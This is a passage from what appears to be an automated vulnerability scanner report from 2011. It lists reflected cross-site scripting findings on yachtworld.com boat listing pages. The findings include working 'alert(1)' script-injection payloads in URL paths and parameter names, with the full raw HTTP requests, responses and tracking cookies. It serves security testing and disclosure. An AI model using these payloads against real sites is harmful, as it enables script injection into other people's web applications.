s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:28 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 26 Jan 2011 06:03:33 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2305173%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B69%2C900%5B%25%5DGloucester%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305173_1_mini.jpg%3F1296020707000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-2305173%2FGloucester%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:28 GMT Set-Cookie: VIEWED_BOATS_STORE=2305173%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B69%2C900%5B%25%5DGloucester%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305173_1_mini.jpg%3F1296020707000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-2305173%2FGloucester%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a67c"><script>alert(1)</script>266250d89b2 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32-Fs-2305173/Gloucester/VA/United-States7a67c"><script>alert(1)</script>266250d89b2 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:55 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 26 Jan 2011 06:03:33 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2305173%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B69%2C900%5B%25%5DGloucester%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305173_1_mini.jpg%3F1296020707000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-2305173%2FGloucester%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:55 GMT Set-Cookie: VIEWED_BOATS_STORE=2305173%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B69%2C900%5B%25%5DGloucester%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305173_1_mini.jpg%3F1296020707000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-2305173%2FGloucester%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.96. http://www.yachtworld.com/boats/2004/Regulator-32-Fs-2305173/Gloucester/VA/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 138a0"><script>alert(1)</script>a5a2c4dcb2d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32-Fs-2305173/Gloucester/VA/United-States?138a0"><script>alert(1)</script>a5a2c4dcb2d=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:02:18 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 26 Jan 2011 06:03:33 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2305173%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B69%2C900%5B%25%5DGloucester%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305173_1_mini.jpg%3F1296020707000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-2305173%2FGloucester%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:02:17 GMT Set-Cookie: VIEWED_BOATS_STORE=2305173%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B69%2C900%5B%25%5DGloucester%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305173_1_mini.jpg%3F1296020707000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-2305173%2FGloucester%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: 